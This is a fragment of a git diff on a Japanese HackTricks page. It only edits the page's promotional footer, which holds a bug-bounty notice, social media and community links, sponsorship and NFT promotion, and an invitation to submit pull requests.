HackenProofの報奨金は、顧客が報酬予算を入金した後に開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
@ -725,7 +736,12 @@ HackenProofの報奨金は、顧客が報酬予算を入金した後に開始さ
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktr
|
||||
* [💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、[Twitter](https://twitter.com/hacktricks_live)で私をフォローしてください[🐦](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[@carlospolopm](https://twitter.com/hacktricks\_live)。
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksをPDFでダウンロードしたいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、Twitterで[🐦](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)@carlospolopmをフォローしてください。
|
||||
* ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue